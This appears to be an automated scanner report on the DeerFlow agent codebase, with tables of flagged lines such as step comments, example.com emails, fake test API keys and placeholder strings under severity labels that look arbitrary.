| LOW⚡ | backend/tests/test_llm_error_handling_middleware.py | 330 | # Step 2: Now trigger handler that raises GraphBubbleUp | COMMENT |
| LOW⚡ | backend/tests/test_client.py | 2545 | # Step 2: List | COMMENT |
| LOW⚡ | backend/tests/test_client.py | 2550 | # Step 3: Delete one | COMMENT |
| LOW⚡ | backend/tests/test_client.py | 2554 | # Step 4: Verify deletion | COMMENT |
| LOW | backend/tests/test_client.py | 2533 | # Step 1: Upload | COMMENT |
| LOW | backend/tests/test_client.py | 2942 | # Step 1: Install | COMMENT |
| LOW | backend/tests/test_client.py | 2954 | # Step 2: List and find it | COMMENT |
| LOW | backend/tests/test_client.py | 2966 | # Step 3: Disable it | COMMENT |
| LOW⚡ | backend/tests/test_mcp_config_secrets.py | 361 | # Step 1: Server returns masked config (simulates GET response) | COMMENT |
| LOW⚡ | backend/tests/test_mcp_config_secrets.py | 366 | # Step 2: Frontend toggles enabled and sends back (simulates PUT request) | COMMENT |
| LOW⚡ | backend/tests/test_mcp_config_secrets.py | 369 | # Step 3: Server merges with existing secrets (simulates PUT handler) | COMMENT |
| LOW⚡ | backend/packages/harness/deerflow/subagents/registry.py | 122 | # Step 1: Look up built-in, then fall back to custom_agents | COMMENT |
| LOW⚡ | backend/packages/harness/deerflow/subagents/registry.py | 131 | # Step 2: Apply per-agent overrides from config.yaml agents section. | COMMENT |
| LOW | …arness/deerflow/community/aio_sandbox/local_backend.py | 677 | # Step 1: enumerate container names via docker ps | COMMENT |
| LOW | …arness/deerflow/community/aio_sandbox/local_backend.py | 712 | # Step 2: batched docker inspect — single subprocess call for all containers | COMMENT |
| LOW⚡ | skills/public/find-skills/scripts/install-skill.sh | 49 | # Step 1: Install the skill using npx | COMMENT |
| LOW⚡ | skills/public/find-skills/scripts/install-skill.sh | 52 | # Step 2: Verify installation | COMMENT |
| LOW⚡ | skills/public/find-skills/scripts/install-skill.sh | 58 | # Step 3: Create symlink | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | frontend/tests/unit/core/auth/remember-login.test.ts | 42 | email: "admin@example.com", | CODE |
| LOW⚡ | frontend/tests/unit/core/auth/remember-login.test.ts | 48 | "admin@example.com", | CODE |
| LOW⚡ | frontend/tests/unit/core/auth/remember-login.test.ts | 56 | "deerflow.auth.remembered_email": "admin@example.com", | CODE |
| LOW⚡ | frontend/tests/unit/core/auth/remember-login.test.ts | 61 | email: "admin@example.com", | CODE |
| LOW | frontend/tests/unit/core/auth/remember-login.test.ts | 88 | email: "admin@example.com", | CODE |
| LOW | frontend/tests/unit/core/threads/export.test.ts | 209 | const message = ai("placeholder", { | CODE |
| LOW | frontend/tests/unit/core/threads/export.test.ts | 301 | const message = ai("placeholder", { | CODE |
| LOW | …nents/workspace/gateway-offline-banner-helpers.test.ts | 14 | email: "user@example.com", | CODE |
| LOW | frontend/tests/e2e/sidecar-chat.spec.ts | 138 | (element) => pattern.test(element.getAttribute("placeholder") ?? ""), | CODE |
| LOW | frontend/tests/e2e/sidecar-chat.spec.ts | 168 | placeholderPattern.test(element.getAttribute("placeholder") ?? ""), | CODE |
| LOW | frontend/tests/e2e/sidecar-chat.spec.ts | 243 | /deeper follow-up/i.test(element.getAttribute("placeholder") ?? ""), | CODE |
| LOW⚡ | backend/tests/test_clarification_middleware.py | 588 | "fields": [{"name": "note", "placeholder": "Optional remarks"}], | CODE |
| LOW⚡ | backend/tests/test_clarification_middleware.py | 594 | assert payload["fields"][0]["placeholder"] == "Optional remarks" | CODE |
| LOW | backend/tests/test_clarification_middleware.py | 636 | assert sorted(items["properties"].keys()) == ["label", "name", "options", "placeholder", "required", "type"] | CODE |
| LOW⚡ | backend/tests/test_oidc_auth.py | 25 | "email": "user@example.com", | CODE |
| LOW⚡ | backend/tests/test_oidc_auth.py | 36 | local_user = User(email="user@example.com", password_hash="hash") | CODE |
| LOW⚡ | backend/tests/test_oidc_auth.py | 93 | identity=_identity(subject="admin-subject", email="admin@example.com"), | CODE |
| LOW⚡ | backend/tests/test_oidc_auth.py | 99 | email="admin@example.com", | CODE |
| LOW⚡ | backend/tests/test_oidc_auth.py | 189 | local_provider.get_user_by_email.assert_awaited_once_with("user@example.com") | CODE |
| LOW⚡ | backend/tests/test_oidc_auth.py | 197 | created_user = User(email="user@example.com", password_hash=None, oauth_provider="keycloak", oauth_id="subject") | CODE |
| LOW | backend/tests/test_oidc_auth.py | 58 | local_user = User(email="user@example.com", password_hash="hash") | CODE |
| LOW | backend/tests/test_oidc_auth.py | 82 | email="admin@example.com", | CODE |
| LOW | backend/tests/test_oidc_auth.py | 175 | local_user = User(email="user@example.com", password_hash="hash") | CODE |
| LOW | backend/tests/test_oidc_auth.py | 208 | email="user@example.com", | CODE |
| LOW | backend/tests/test_oidc_auth.py | 249 | return {"sub": "subject", "email": "user@example.com", "email_verified": "false"} | CODE |
| LOW | backend/tests/test_oidc_auth.py | 270 | created_user = User(email="user@example.com", password_hash=None, oauth_provider="keycloak", oauth_id="subject") | CODE |
| LOW⚡ | backend/tests/test_paths_user_isolation.py | 43 | result = make_safe_user_id("user@example.com") | CODE |
| LOW⚡ | backend/tests/test_paths_user_isolation.py | 48 | assert make_safe_user_id("user@example.com") == result | CODE |
| LOW⚡ | backend/tests/test_paths_user_isolation.py | 101 | raw = "user@example.com" | CODE |
| LOW⚡ | backend/tests/test_channels_router.py | 19 | email="admin@example.com", | CODE |
| LOW⚡ | backend/tests/test_channels_router.py | 28 | email="user@example.com", | CODE |
| LOW⚡ | backend/tests/test_auth.py | 371 | user = User(email="admin@example.com", password_hash="hash", needs_setup=True) | CODE |
| LOW⚡ | backend/tests/test_channels.py | 3774 | raw = "user@example.com" | CODE |
| LOW | backend/tests/test_channels.py | 3794 | raw = "user@example.com" | CODE |
| LOW | backend/tests/test_claude_provider_oauth_billing.py | 17 | m = ClaudeChatModel(model="claude-sonnet-4-6", anthropic_api_key="sk-ant-oat-fake-token") # type: ignore[call-a | CODE |
| LOW | backend/tests/test_claude_provider_oauth_billing.py | 19 | m._oauth_access_token = "sk-ant-oat-fake-token" | CODE |
| LOW | backend/tests/test_runtime_lifecycle_e2e.py | 195 | monkeypatch.setenv("OPENAI_API_KEY", "sk-fake-key-not-used") | CODE |
| LOW⚡ | backend/tests/test_initialize_admin.py | 61 | "email": "admin@example.com", | CODE |
| LOW⚡ | backend/tests/test_initialize_admin.py | 75 | assert data["email"] == "admin@example.com" | CODE |
| LOW | backend/tests/test_buzz_channel.py | 501 | asyncio.run(ch.send(_outbound(ch, "placeholder", is_final=False))) | CODE |
| LOW | backend/tests/test_setup_agent_http_e2e_real_server.py | 73 | monkeypatch.setenv("OPENAI_API_KEY", "sk-fake-key-not-used-because-llm-is-mocked") | CODE |
| LOW⚡ | backend/docs/AUTH_TEST_PLAN.md | 90 | -d '{"email":"admin@example.com","password":"AdminPass1!"}' \ | CODE |
| LOW⚡ | backend/docs/AUTH_TEST_PLAN.md | 96 | - Body: `{"id": "...", "email": "admin@example.com", "system_role": "admin", "needs_setup": false}` | CODE |
| LOW⚡ | backend/docs/AUTH_TEST_PLAN.md | 105 | **预期:** `{"id": "...", "email": "admin@example.com", "system_role": "admin", "needs_setup": false}` | CODE |
| LOW | backend/docs/AUTH_TEST_PLAN.md | 356 | -H "X-CSRF-Token: fake-token" \ | CODE |
| LOW | backend/docs/AUTH_TEST_PLAN.md | 688 | -d '{"email":"admin@example.com","password":"AdminPass1!"}' \ | CODE |
| LOW | backend/docs/AUTH_TEST_PLAN.md | 1541 | -d '{"email":"admin@example.com","password":"AdminPass1!"}' \ | CODE |
| LOW⚡ | …eerflow/agents/middlewares/clarification_middleware.py | 257 | placeholder = entry.get("placeholder") | CODE |
| LOW⚡ | …eerflow/agents/middlewares/clarification_middleware.py | 261 | field["placeholder"] = placeholder.strip() | CODE |
| LOW | …ages/harness/deerflow/skills/skillscan/orchestrator.py | 113 | _PLACEHOLDER_VALUES = {"", "x", "xx", "xxx", "xxxx", "changeme", "change-me", "example", "placeholder", "test", "dummy", | CODE |
| LOW⚡ | …rness/deerflow/community/browser_automation/session.py | 67 | el.getAttribute("placeholder") || el.innerText || el.value || "").trim(); | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| CRITICAL | backend/app/channels/feishu.py | 341 | return self._api_client.im.v1.image.create(request) | CODE |
| CRITICAL | backend/app/channels/feishu.py | 353 | return self._api_client.im.v1.file.create(request) | CODE |
| CRITICAL | backend/app/channels/feishu.py | 419 | return self._api_client.im.v1.message_resource.get(request) | CODE |
| CRITICAL | backend/tests/test_tui_transparent.py | 48 | assert app.screen.styles.background.hex.lower() == THEME.bg | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | config.example.yaml | 1705 | # Set false to disable the new deterministic analyzers (nested-archive, | COMMENT |
| LOW | …reads/ad76c455-5bf9-4335-8517-fc03834ab828/thread.json | 123 | "content": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sn | CODE |
| LOW | backend/app/gateway/routers/artifacts.py | 392 | # Check if this is a request for a file inside a .skill archive (e.g., xxx.skill/SKILL.md) | COMMENT |
| LOW | backend/app/channels/discord.py | 525 | # Check if there's an active thread for this channel | COMMENT |
| LOW | backend/tests/test_infoquest_client.py | 99 | # Check if result is a valid JSON string with expected content | COMMENT |
| LOW | backend/tests/test_infoquest_client.py | 278 | # Check if result is a valid JSON string with expected content | COMMENT |
| LOW | backend/tests/test_infoquest_client.py | 326 | # Check if result is a valid JSON string | COMMENT |
| LOW | …/packages/harness/deerflow/tools/builtins/task_tool.py | 540 | # Check if task completed, failed, or timed out | COMMENT |
| LOW | …s/deerflow/agents/middlewares/view_image_middleware.py | 116 | # Check if all tool calls have been completed | COMMENT |
| LOW | …s/deerflow/agents/middlewares/view_image_middleware.py | 210 | # Check if it has view_image tool calls | COMMENT |
| LOW | …s/deerflow/agents/middlewares/view_image_middleware.py | 214 | # Check if all tools have been completed | COMMENT |
| LOW | …arness/deerflow/agents/middlewares/title_middleware.py | 118 | # Check if thread already has a title in state | COMMENT |
| LOW | …arness/deerflow/agents/middlewares/title_middleware.py | 122 | # Check if this is the first turn (has at least one user message and one assistant response). | COMMENT |
| LOW | …eerflow/agents/middlewares/clarification_middleware.py | 564 | # Check if this is an ask_clarification tool call | COMMENT |
| LOW | …eerflow/agents/middlewares/clarification_middleware.py | 589 | # Check if this is an ask_clarification tool call | COMMENT |
| LOW | backend/packages/harness/deerflow/mcp/cache.py | 157 | # Check if cache is stale due to config file changes | COMMENT |
| LOW | backend/packages/harness/deerflow/sandbox/tools.py | 531 | # Check if args has server-filesystem package | COMMENT |
| LOW | backend/packages/harness/deerflow/sandbox/tools.py | 1398 | # Check if sandbox already exists in state | COMMENT |
| LOW | backend/packages/harness/deerflow/sandbox/tools.py | 1537 | # Check if directories have already been created | COMMENT |
| LOW | …rness/deerflow/community/infoquest/infoquest_client.py | 68 | # Check if status code is not 200 | COMMENT |
| LOW | scripts/detect_uv_extras.py | 199 | # Check if we're at the parent's child level (subsection) | COMMENT |
| LOW | skills/public/skill-creator/scripts/init_skill.py | 208 | # Check if directory already exists | COMMENT |
| LOW | skills/public/vercel-deploy-claimable/scripts/deploy.sh | 175 | # Check if input is a .tgz file or a directory | COMMENT |
| LOW | skills/public/vercel-deploy-claimable/scripts/deploy.sh | 191 | # Check if this is a static HTML project (no package.json) | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 550 | "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi | CODE |
| HIGH | …reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json | 53 | "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi | CODE |
| HIGH | …reads/f4125791-0128-402a-8ca9-50e0947557e4/thread.json | 52 | "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi | CODE |
| HIGH | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1637 | "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi | CODE |
| HIGH | …reads/5aa47db1-d0cb-4eb9-aea5-3dac1b371c5a/thread.json | 204 | "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi | CODE |
| HIGH | …reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json | 847 | "content": "# The Leica Master's Eye: Capturing the Decisive Moment in the Age of AI\n\n*By DeerFlow 2.0 | | CODE |
| HIGH | …reads/c02bb4d5-4202-490e-ae8f-ff4864fc0d2e/thread.json | 52 | "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | backend/app/channels/manager.py | 985 | CODE | |
| LOW | backend/tests/test_summarize_checkpoint_production.py | 25 | CODE | |
| LOW | backend/tests/test_dingtalk_channel.py | 48 | CODE | |
| LOW | backend/tests/test_authorization_provider.py | 206 | CODE | |
| LOW | backend/tests/test_model_factory.py | 28 | CODE | |
| LOW | backend/tests/test_memory_tools.py | 30 | CODE | |
| LOW | backend/packages/harness/deerflow/client.py | 164 | CODE | |
| LOW | backend/packages/harness/deerflow/subagents/executor.py | 449 | CODE | |
| LOW | backend/packages/harness/deerflow/runtime/goal.py | 270 | CODE | |
| LOW | …kend/packages/harness/deerflow/runtime/runs/manager.py | 1424 | CODE | |
| LOW | …kend/packages/harness/deerflow/runtime/runs/manager.py | 1496 | CODE | |
| LOW | …packages/harness/deerflow/runtime/runs/store/memory.py | 35 | CODE | |
| LOW | …packages/harness/deerflow/runtime/runs/store/memory.py | 391 | CODE | |
| LOW | …d/packages/harness/deerflow/runtime/runs/store/base.py | 54 | CODE | |
| LOW | …d/packages/harness/deerflow/runtime/runs/store/base.py | 174 | CODE | |
| LOW | …d/packages/harness/deerflow/runtime/runs/store/base.py | 200 | CODE | |
| LOW | …d/packages/harness/deerflow/runtime/runs/store/base.py | 334 | CODE | |
| LOW | …d/packages/harness/deerflow/runtime/runs/store/base.py | 384 | CODE | |
| LOW | backend/packages/harness/deerflow/agents/factory.py | 66 | CODE | |
| LOW | …gents/memory/backends/deermem/deermem/core/eviction.py | 157 | CODE | |
| LOW | …w/agents/middlewares/tool_error_handling_middleware.py | 325 | CODE | |
| LOW | …d/packages/harness/deerflow/agents/lead_agent/agent.py | 457 | CODE | |
| LOW | …/packages/harness/deerflow/agents/lead_agent/prompt.py | 1021 | CODE | |
| LOW | …arness/deerflow/persistence/channel_connections/sql.py | 110 | CODE | |
| LOW | …ckend/packages/harness/deerflow/persistence/run/sql.py | 92 | CODE | |
| LOW | …ckend/packages/harness/deerflow/persistence/run/sql.py | 328 | CODE | |
| LOW | …ckend/packages/harness/deerflow/persistence/run/sql.py | 387 | CODE | |
| LOW | …ckend/packages/harness/deerflow/persistence/run/sql.py | 677 | CODE | |
| LOW | …s/deerflow/community/browserless/browserless_client.py | 176 | CODE | |
| LOW | …kages/harness/deerflow/community/image_search/tools.py | 15 | CODE | |
| LOW | scripts/wizard/writer.py | 176 | CODE | |
| LOW | scripts/wizard/writer.py | 258 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | backend/tests/test_subagent_executor.py | 2761 | CODE | |
| MEDIUM | backend/tests/test_subagent_executor.py | 1366 | CODE | |
| MEDIUM | backend/tests/test_artifacts_router.py | 316 | CODE | |
| MEDIUM | backend/tests/test_run_worker_delivery.py | 505 | CODE | |
| MEDIUM | backend/tests/test_extension_task_lifecycle.py | 199 | CODE | |
| MEDIUM | backend/tests/test_extension_task_lifecycle.py | 303 | CODE | |
| MEDIUM | backend/tests/test_run_worker_rollback.py | 937 | CODE | |
| MEDIUM | backend/tests/test_run_worker_rollback.py | 1010 | CODE | |
| MEDIUM | backend/tests/test_worker_langfuse_metadata.py | 41 | CODE | |
| MEDIUM | backend/tests/test_channels.py | 2237 | CODE | |
| MEDIUM | backend/tests/test_threads_router.py | 491 | CODE | |
| MEDIUM | backend/tests/test_threads_router.py | 521 | CODE | |
| MEDIUM | backend/tests/test_gateway_run_drain_shutdown.py | 264 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | backend/README.md | 193 | export OPENAI_API_KEY="your-api-key-here" | CODE |
| HIGH | backend/CONTRIBUTING.md | 52 | export OPENAI_API_KEY="your-api-key" | CODE |
| HIGH | backend/README_zh.md | 192 | export OPENAI_API_KEY="your-api-key-here" | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | scripts/check_chart_sandbox_service.sh | 17 | # Usage: | COMMENT |
| LOW | scripts/bump_version.sh | 4 | # Usage: | COMMENT |
| LOW | scripts/check_config_version.sh | 12 | # Usage: | COMMENT |
| LOW | scripts/verify_versions.sh | 9 | # Usage: | COMMENT |
| LOW | scripts/serve.sh | 5 | # Usage: | COMMENT |
| LOW | skills/public/claude-to-deerflow/scripts/chat.sh | 4 | # Usage: | COMMENT |
| LOW | skills/public/claude-to-deerflow/scripts/status.sh | 4 | # Usage: | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | backend/tests/test_subagent_executor.py | 1970 | def execute_task(task_id: int): | CODE |
| LOW | backend/tests/test_detect_blocking_io_static.py | 799 | def helper(x=time.sleep(1)): | CODE |
| LOW | backend/tests/test_detect_blocking_io_static.py | 1010 | def helper(x: os.listdir(".")) -> os.listdir("."): | CODE |
| LOW | backend/tests/test_detect_blocking_io_static.py | 1032 | def helper(callback=lambda: os.listdir(".")): | CODE |
| LOW | backend/tests/test_detect_blocking_io_static.py | 1054 | def helper(callback=lambda flag=os.listdir("."): flag): | CODE |
| LOW | backend/tests/test_detect_blocking_io_static.py | 1081 | def helper(items=(os.listdir(x) for x in [1])): | CODE |
| LOW | backend/tests/test_detect_blocking_io_static.py | 1103 | def helper(items=(x for x in os.listdir("."))): | CODE |
| LOW | backend/tests/test_detect_blocking_io_static.py | 1286 | def helper(flag=(lambda: os.listdir("."))()): | CODE |
| LOW | backend/tests/test_detect_blocking_io_static.py | 218 | def helper(): | STRING |
| LOW | backend/tests/test_review_changed_public_skills.py | 165 | (skill_dir / "scripts" / "helper.py").write_text("def helper():\n return 1\n", encoding="utf-8") | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | …reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json | 53 | "content": "# Tips For Technical Startup Founders | Startup School\n\n# Tips For Technical Startup Founders | St | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 313 | "content": "# 🦌 DeerFlow\n\n[](https://www.py | CODE |